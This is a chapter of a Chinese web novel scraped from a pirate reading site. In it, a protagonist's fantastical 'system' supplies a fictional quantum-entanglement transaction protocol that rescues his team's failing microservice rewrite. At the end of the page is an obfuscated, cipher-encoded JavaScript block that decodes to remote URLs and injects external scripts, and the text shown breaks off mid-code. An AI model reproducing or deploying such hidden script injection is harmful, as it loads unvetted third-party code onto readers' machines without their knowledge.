首页
第50章 绝地反击!系统解锁
返回
关灯 护眼:关 字号:小

第50章 绝地反击!系统解锁隐藏功能

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第50章绝地反击!系统解锁隐藏功能(第1/2页)
    1
    凌晨三点十二分,星河科技大厦二十八层。
    “星语”项目区只剩下寥寥几盏灯还亮着。大屏幕上,重构进度条停在87.6%,已经整整十个小时没有动过。空气里弥漫着焦虑、疲惫,还有某种说不清道不明的绝望。
    林辰坐在办公区中央的指挥台前,盯着屏幕上那个红色的错误提示:
    “核心事务服务启动失败:分布式事务一致性校验不通过。错误码:TX-1032。建议:回滚至上一版本。”
    这已经是今天第七次尝试启动新架构的核心模块。每一次,都在事务一致性校验这关卡死。
    “林总,日志分析完了。”王海清走过来,眼窝深陷,声音嘶哑得几乎说不出话,“问题是……无解的。我们现有的分布式事务方案,是基于两阶段提交的,但新架构的服务拆分太细,一次跨服务调用可能涉及八个微服务。两阶段提交在这种场景下,性能会降到原来的十分之一,根本没法用。”
    “业界主流方案呢?”林辰问,声音还算平稳。
    “TCC、SAGA、本地消息表……都试过了。”李浩在旁边接口,手里拿着一叠打印出来的方案对比图,“TCC要改太多业务代码,时间不够。SAGA的补偿机制我们控制不好,容易出数据不一致。本地消息表最简单,但可靠性达不到要求——万一消息丢了,数据就对不上了。”
    他放下图纸,揉了揉太阳穴:“说真的,林总,我们可能……从一开始就想错了。微服务拆分得太细,是架构上的优雅,但事务一致性这道坎,跨不过去。”
    办公区里剩下的十几个人都抬起头,看着林辰。每个人的眼神里都写着同样的信息:我们尽力了,但有些事,真的做不到。
    距离三十天重构期限,还剩最后七十二小时。
    而这最后、最关键的一步,卡死了。
    林辰没有说话。他站起来,走到落地窗前。窗外是沉睡的城市,只有零星灯火。三天前,他们刚刚完成数据库迁移,士气高涨,所有人都觉得胜利在望。三天后的现在,却被一道技术难题逼到墙角。
    不,不是技术难题。
    是死局。
    因为他清楚,王海清和李浩说的是对的。分布式事务一致性,是微服务架构的阿喀琉斯之踵。业界研究了十几年,也没有完美的通用方案。要么牺牲性能,要么牺牲一致性,要么增加复杂度——而他们,三者都承受不起。
    “林总……”王海清走到他身后,声音很轻,“要不……我们退一步?把几个服务合并回去,减少跨服务调用。虽然架构没那么优雅,但至少能跑起来……”
    “然后呢?”林辰没回头,“服务合并,架构倒退回三年前,那我们这二十七天的努力算什么?而且,合并后性能就能上去吗?可维护性呢?扩展性呢?”
    王海清沉默了。
    “让我想想。”林辰说,“你们先去休息室睡两小时。六点,我们开最后一场会。”
    团队默默散去。办公区里只剩下林辰一个人,还有大屏幕上那个刺眼的红色错误提示。
    他在窗前站了很久,然后回到指挥台,调出系统的架构图。七百多个微服务,三千多个接口,数不清的调用关系,像一张巨大而精密的蛛网。这是他带领团队,用了二十七天,一砖一瓦建起来的新世界。
    而现在,这个世界因为最基础的“一致性”问题,濒临崩塌。
    讽刺。
    “系统,”他在脑海里呼叫,“分析当前问题,给出解决方案。”
    淡蓝色界面展开,数据流快速滚动:
    【问题分析中……】
    【核心矛盾:分布式事务一致性要求与微服务细粒度拆分不可调和。】
    【现有方案评估:】
    【1.两阶段提交:性能下降87%,不可接受。】
    【2.TCC模式:改造工作量巨大,需重写60%业务代码,时间不足。】
    【3.SAGA模式:补偿逻辑复杂度高,数据一致性保障率仅92.3%。】
    【4.本地消息表:可靠性不足,消息丢失概率0.1%,对金融级应用不可用。】
    【结论:在宿主当前技术水平及时间约束下,无解。】
    无解。
    系统给出了和林辰自己分析一样的结论。
    他靠在椅子上,闭上眼睛。太阳穴突突地跳,胃部隐隐作痛——这是连续熬夜加上高压带来的身体抗议。但他现在顾不上这些。
    还有七十二小时。
    七十二小时后,如果拿不出可用的新架构,他就要兑现诺言:辞职。
    不仅如此,“星语”项目会彻底死亡,团队这二十七天的努力化为乌有,李铭对他的信任也会崩塌。而更现实的是,家里的房贷、车贷、父母的药费、孩子的学费……所有这些他刚刚扛起来的重担,会再次压下来。
    而且这次,可能扛不住了。
    因为他已经把所有的筹码,都押在了这一局。
    手机震动,是苏雨晴发来的微信:“还在公司?”
    林辰回复:“嗯,遇到点问题,要晚点。”
    “注意身体。爸妈和小宝小花都睡了,家里没事,你放心。”
    “好。”
    简短的对话。苏雨晴没多问,但她知道,一定是出了大事。否则林辰不会连续三天不回家,只在凌晨发条“还在忙”的消息。
    林辰放下手机,看着窗外的夜色。
    他想起一个月前,也是在这样的深夜里,他站在自家阳台上,想跳下去。
    是系统救了他。
    可现在,系统说“无解”。
    真的……无解吗?
    林辰重新睁开眼睛,盯着系统界面。那个淡金色的“A”字徽标在右上角悬浮,代表着A级权限,代表着他能调用的所有资源。
    但还不够。
    “系统,”他低声说,声音在空旷的办公区里回荡,“你曾经说过,你是‘高维文明遗留的辅助型人工智能’,旨在‘帮助符合条件的智慧生命突破生存困境’。现在,我的困境来了。如果这一关过不去,我之前所有的努力,都会归零。这算不算……生存困境?”
    系统沉默了三秒。
    然后,界面上浮现新的文字:
    【检测到宿主情绪波动剧烈,生存压力达到阈值。】
    【重新评估当前情境……】
    【评估完成:确认宿主处于“关键生存危机”状态。】
    【触发隐藏协议:绝境突破模式。】
    【说明:当绑定者面临可能致使其前期努力付诸东流的重大危机时,系统可临时解锁部分限制,提供超越当前文明等级的技术支援。】
    【警告:该模式消耗巨大,每次启动将消耗系统储备能量30%,并导致系统进入为期七天的“低功耗恢复期”。在此期间,除基础功能外,大部分模块将暂时关闭。】
    【是否启动“绝境突破模式”?】
    林辰的心脏猛地一跳。
    绝境突破模式。
    超越当前文明等级的技术支援。
    消耗系统储备能量30%,七天的低功耗期……
    赌注很大。
    但收益,可能是破局的关键。
    “启动。”他没有犹豫。
    【收到。启动绝境突破模式……】
    【系统能量释放中……30%……60%……100%】
    【能量释放完成。正在检索高维文明技术库……】
    【检索到匹配方案:量子纠缠事务一致性协议(QTCProtocol)】
    【技术描述:基于量子纠缠原理的分布式事务一致性解决方案。通过量子比特的纠缠态,实现跨节点的瞬时状态同步,彻底规避传统分布式事务的性能瓶颈与一致性难题。】
    【技术等级:超出当前文明1.2个等级。】
    【适配性评估:可基于宿主现有微服务架构改造,无需重写业务逻辑,改造工作量降低90%。】
    【预计改造时间:48小时。】
    【是否接收技术详情?】
    量子纠缠……事务一致性……
    林辰的呼吸几乎停滞。
    这完全超出了他的认知边界。在他的世界里,分布式事务是个工程难题,是取舍和妥协的艺术。而现在,系统给出的,是物理层面的降维打击。
    “接收。”他声音发干。
    下一秒,海量的信息涌入脑海。不是文字,不是图纸,是某种更直接的“理解”——就像突然学会了母语般自然。量子比特的制备、纠缠态的建立、退相干抑制、跨节点传输协议、事务提交与回滚的量子算法……
    每一个细节,都清晰无比。
    林辰坐在那里,一动不动,消化了整整十分钟。
    然后,他睁开眼睛。
    眼神完全变了。
    之前的焦虑、疲惫、绝望,全部消失。取而代之的,是一种近乎冰冷的专注和笃定。
    他看向大屏幕上的架构图,那些复杂的服务调用关系,现在在他眼里,变成了一个个可以附着量子事务节点的网络节点。问题没有消失,但它从一个“无解”的工程难题,变成了一个“有明确解法”的技术实现。
    “系统,”他说,“生成详细的改造方案,拆解到代码级。”
    【收到。方案生成中……】
    2
    清晨六点,休息室。
    王海清和李浩被叫醒时,还迷迷糊糊。但看到林辰的表情,两人瞬间清醒了。
    “有办法了?”王海清问。
    “有。”林辰把两台平板电脑推到他们面前,“这是新的分布式事务方案,基于量子纠缠原理。别问为什么,别问可不可行。你们只需要看,然后告诉我,能不能实现。”
    两人狐疑地接过平板,开始浏览。
    十秒钟后,王海清猛地抬头,眼睛瞪大:“量子纠缠?林总,这……这是理论物理的东西,我们这是软件工程……”
    “看下去。”林辰打断他。
    王海清咽了口唾沫,继续看。李浩也皱着眉,手指在屏幕上快速滑动。
    又过了五分钟。
    “这个量子比特的制备……需要特殊的硬件吧?”李浩抬起头,“我们上哪找量子计算机?”
    “不需要量子计算机。”林辰说,“方案里用了模拟量子纠缠的算法,在经典计算机上运行。效率会打折扣,但比传统方案至少快一百倍。”
    “可是这个退相干抑制……”
    “有算法解决。”
    “跨节点传输协议的安全性……”
    “内置了量子密钥分发。”
    林辰一个个回答,语气平稳,但每个答案都精准命中要害。就好像……他已经在脑子里把这个方案推演了千百遍。
    事实上,他确实推演了。系统的“绝境突破模式”不只是给技术,还给了一种深度的“理解”,让他能瞬间掌握这套方案的每一个细节,每一个可能的问题。
    王海清和李浩对视一眼,都从对方眼里看到了震惊,还有一丝……希望。
    “如果……如果这个方案真的可行,”王海清的声音在抖,“那我们最多四十八小时,就能完成所有改造。不,甚至更快,因为大部分业务代码都不用动,只需要加事务注解和配置。”
    “但风险呢?”李浩更谨慎,“这种级别的技术,我们从来没验证过。万一上线后出问题……”
    “没有万一。”林辰站起来,看着他们,“这是我们唯一的路。要么用这个方案,赌一把。要么,七十二小时后,项目失败,团队解散,我辞职。”
    他说得很平静,但每个字都重如千钧。
    王海清深吸一口气,握紧了平板:“林总,我跟你干。”
    李浩沉默了几秒,也点头:“我也干。最坏的结果,也就是失败而已。但如果不试,我们连赢的机会都没有。”
    “好。”林辰点头,“现在,去把所有人叫醒。我们只有四十八小时,每一分钟都不能浪费。”
    3
    清晨六点半,整个团队被紧急召集。
    会议室里挤满了人,大多睡眼惺忪,但看到林辰、王海清、李浩三人严肃的表情,都强打精神。
    “长话短说。”林辰站在白板前,手里拿着马克笔,“我们找到了解决事务一致性问题的方案。但这个方案,很新,很激进,甚至可能……听起来像天方夜谭。”
    (本章未完,请点击下一页继续阅读)第50章绝地反击!系统解锁隐藏功能(第2/2页)
    他在白板上写下几个大字:
    量子纠缠事务协议(QTC)
    会议室里响起一阵骚动。
    “量子?林总,我们做的是企业级软件,不是物理实验……”
    “我知道。”林辰抬手,压住议论,“所以我不解释原理,只讲怎么做。王总监,你来。”
    王海清走到台前,打开投影。屏幕上是一张极其复杂的架构图,但在关键节点上,标注了新的组件:量子事务管理器、纠缠态协调器、退相干抑制器……
    “整个改造分为三步。”王海清的声音比平时大,带着一种破釜沉舟的气势,“第一步,在现有的每个微服务里,嵌入一个轻量级的量子事务客户端。这个客户端只有三百行代码,我已经写好了模板。”
    “第二步,部署三个量子事务协调节点,组成集群。它们负责建立和维护服务之间的量子纠缠通道——别问我怎么实现的,看代码。”
    “第三步,修改所有涉及跨服务事务的代码,加上@QTCTransaction注解。就这么简单。”
    会议室里安静得可怕。
    所有人都盯着屏幕,盯着那些陌生的术语,还有王海清脸上那种“疯了但很认真”的表情。
    “王总监,”一个资深架构师举手,声音迟疑,“你确定……这能行?量子纠缠,那是物理学家在实验室里玩的东西。我们这是生产环境,要处理每秒几万笔交易,不能出任何差错。”
    “我确定。”王海清说,转头看向林辰,“因为林总给了我完整的数学证明和性能模拟报告。在模拟环境里,这套方案的事务提交延迟,是两阶段提交的百分之一,是TCC的十分之一。而且,强一致性保障——不是最终一致性,是强一致。”
    会议室再次骚动。
    这次,很多人的眼神变了。从怀疑,变成了震惊,然后变成了……跃跃欲试。
    做技术的,骨子里都有对“黑科技”的向往。尤其当这个黑科技,能解决困扰业界十几年的难题时。
    “但我们只有四十八小时。”林辰重新接管话语权,“所以,所有人,听清楚分工。架构组,负责部署协调节点。后端组,负责嵌入客户端。前端和测试组,配合做集成验证。每个组,每两个小时同步一次进度。遇到任何问题,直接找我,我现场解决。”
    他停顿了一下,目光扫过全场。
    “这是最后一战。打赢了,‘星语’重生,我们每个人,都是这个行业的历史创造者。打输了……至少我们试过了,而且是用最酷的方式试的。有没有问题?”
    “没有!”会议室里响起整齐的吼声。
    士气,在绝望的谷底,被一个疯狂的技术方案,重新点燃了。
    4
    接下来的四十八小时,星河科技大厦二十八层,变成了一个不眠的战争要塞。
    白板上写满了量子力学术语和代码片段,便利贴密密麻麻,咖啡杯堆成小山。键盘敲击声几乎没有停过,讨论声此起彼伏,偶尔爆发出“通了!”的欢呼,然后又迅速沉寂,投入下一个问题。
    林辰成了整个战场的核心处理器。
    他几乎没有离开过指挥台。系统虽然进入了“低功耗恢复期”,但基础功能还在,AI超脑模块依然能以最低功率运行,帮他快速分析问题,给出最优解。而更重要的是,那套“量子纠缠事务协议”的每一个细节,都深深刻在他脑子里,像是与生俱来的本能。
    “林总,三号协调节点的纠缠态建立失败,错误码Q-207。”
    “检查网络延迟,超过5毫秒就会失败。加一条重试逻辑,最多三次。”
    “明白!”
    “林总,支付服务的事务注解加了之后,编译报错,类型不匹配。”
    “把注解的隔离级别从SERIALIZABLE改成READ_COMMITTED,量子协议不需要那么强的隔离。”
    “好了!”
    “林总,测试环境模拟高并发,偶尔会出现事务回滚但数据没清理干净……”
    “那是退相干抑制器的参数没调好。把相干时间阈值从100毫秒降到50。”
    一个个问题,在他这里得到解答。一个个障碍,被快速清除。
    团队的人看他的眼神,已经从最初的“这个新COO有点东西”,变成了近乎崇拜的“这他妈是神吧”。因为无论多偏门的问题,多诡异的BUG,只要到他这里,总能在一分钟内给出准确的解决方向。
    他们不知道,这背后是系统用超越时代的技术储备,加上林辰自己七年的工程经验,共同作用的结果。
    他们只需要知道:跟着这个人,能赢。
    四十八小时,倒计时归零。
    第四十九小时,凌晨三点,最后一次全链路压测。
    大屏幕上,数字开始跳动:
    并发用户数:1000→5000→10000→50000……
    事务成功率:100%
    平均响应时间:127毫秒
    99分位响应时间:253毫秒
    系统可用性:100%
    当并发数冲到十万,事务成功率依然稳在100%时,办公区里,有人开始哭。
    不是一个人,是好几个。那些连续三十天每天只睡三四个小时的大男人,捂着脸,肩膀抖动。然后哭声传染开来,越来越多人红了眼眶。
    王海清靠在墙上,仰头看着天花板,眼泪顺着眼角流进鬓角。李浩蹲在地上,抱着头,无声地抽泣。
    压力太大了。
    这三十天,他们承受的压力,超过了职业生涯的总和。而现在,压力释放的瞬间,情绪决堤了。
    林辰站在指挥台前,看着屏幕上完美的曲线,看着哭成一片的团队,鼻子也有些发酸。
    但他忍住了。
    因为战斗还没完全结束。
    “各小组,”他开口,声音有些沙哑,“最后一遍检查:监控告警、日志收集、容灾切换、数据备份。确认无误后,准备……生产环境发布。”
    命令下达,团队迅速擦干眼泪,回到工位。最后一遍检查,用了四十分钟。
    凌晨四点,一切就绪。
    “林总,”王海清看向他,“可以发布了。”
    林辰点点头,在发布系统里输入自己的密码,按下回车。
    “发布确认:将‘星语’新架构(版本号V4.0)部署至生产环境。是否继续?”
    他点击“是”。
    进度条开始滚动。
    1%……10%……30%……
    这是最紧张的时刻。新架构能不能在生产环境跑起来,会不会有没测出来的问题,会不会引发线上故障……一切都是未知。
    但林辰很平静。
    因为他知道,这套架构,没问题。
    进度条到100%。
    发布完成。
    监控大屏上,线上流量开始从旧集群切换到新集群。曲线平稳过渡,没有任何抖动。错误率保持在0.01%以下——那是正常的网络噪音。
    五分钟,十分钟,半小时。
    系统稳定运行。
    “成功了……”不知道谁先说出来。
    然后,欢呼声爆发了。这次不是压抑的哭,是尽情的吼。有人把文件抛向空中,有人拥抱在一起,有人跳上桌子。
    林辰站在原地,看着这一切,终于笑了。
    他拿起手机,给李铭发了条微信:“李总,新架构发布成功。‘星语’重生。”
    三秒后,李铭回复:“我在监控室,看到了。干得漂亮。现在,立刻,马上,让所有人去睡觉。这是命令。”
    林辰放下手机,走到办公区中央,拍了拍手。
    欢呼声渐渐平息。
    “李总命令,”林辰说,“所有人,立刻,马上,睡觉。项目组放假三天,带薪。现在,都给我滚回家。”
    人群欢呼着散去。很多人连电脑都没关,抓起包就往外跑。三十天了,他们终于可以回家,洗个热水澡,躺在自己的床上,睡到自然醒。
    王海清和李浩最后走过来。
    “林总,”王海清眼眶还红着,“谢谢。没有你,我们做不到。”
    “是大家一起做到的。”林辰拍拍他的肩,“回去好好睡,三天后,还有硬仗要打。”
    “明白!”
    两人离开。办公区里,只剩下林辰一个人,还有满地的咖啡杯、零食包装、写满公式的白板。
    他走到落地窗前。天边已经泛起鱼肚白,新的一天即将开始。
    手机震动,系统提示:
    【支线任务:整顿技术团队,已完成】
    【任务评级:S(完美)】
    【获得奖励:AI架构设计(中级)熟练度提升至100%,自动升级为“AI架构设计(高级)”】
    【获得额外奖励:技术团队忠诚度永久+30%,创新能力+20%】
    【系统状态:进入“低功耗恢复期”(剩余6天23小时59分)。期间仅保留基础功能,高级模块暂不可用。】
    低功耗恢复期,七天。
    但林辰觉得,值。
    因为他用这三十天,证明了三点:
    第一,他有能力带领团队,完成不可能的任务。
    第二,他有系统这张王牌,能在绝境中翻盘。
    第三,也是最重要的——他林辰,回来了。
    不是那个被裁员后站在天台上的失败者。
    是一个能打硬仗、能扛压力、能创造奇迹的领导者。
    他深吸一口清晨的空气,转身,关灯,走出办公区。
    走廊里很安静,只有他的脚步声在回荡。
    电梯下行时,他靠在轿厢壁上,闭上眼睛。
    三十天,他几乎没怎么睡觉,全靠系统的“深度修复”撑着。现在任务完成,压力释放,疲惫如潮水般涌来。
    但他还不能完全休息。
    因为三天后,是向李铭和董事会做正式汇报的日子。他要展示这三十天的成果,要争取更多的资源,要开始谋划下一步——如何用新生的“星语”,在市场上反攻。
    但那是三天后的事。
    现在,他只想回家,洗个澡,抱着苏雨晴,好好睡一觉。
    电梯到一楼,门开。
    晨光涌进来,有些刺眼。
    林辰眯起眼睛,走了出去。
    门口,一辆黑色轿车停在那里。车窗降下,李铭坐在后座,朝他招手。
    “上车,送你回家。”
    林辰愣了一下,拉开车门坐进去。
    “李总,您怎么……”
    “在监控室看了一夜。”李铭笑了笑,眼里的血丝不比林辰少,“看你带着团队,完成了一个奇迹。林辰,这三十天,你证明了你的价值。不止是技术能力,是领导力,是魄力,是那种……能把所有人拧成一股绳,往一个方向冲的劲儿。”
    车启动,驶入清晨的街道。
    “陈明远那边,你不用管了。”李铭继续说,“今天早上,他会收到调岗通知,去负责新成立的创新业务部,不再插手核心产品线。从今天起,你就是星河科技名副其实的COO,技术、产品、运营,你全权负责。”
    林辰沉默了几秒:“谢谢李总信任。”
    “不是我信任你,是你值得。”李铭看向窗外,“知道我这三十天最感慨的是什么吗?不是你解决了技术难题,不是你搞定了团队,是你让所有人相信——相信这件事能成,相信跟着你能赢。这在企业里,比什么都珍贵。”
    车在林辰家小区门口停下。
    “好好休息三天。”李铭说,“三天后,会议室,我要看你拿出一个能打垮云图科技和智创互联的产品战略。能做到吗?”
    “能。”林辰回答,没有任何犹豫。
    “好,去吧。”
    林辰下车,看着轿车远去,转身走进小区。
    天亮了。
    新的一天,真的开始了。
    而他,已经准备好了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 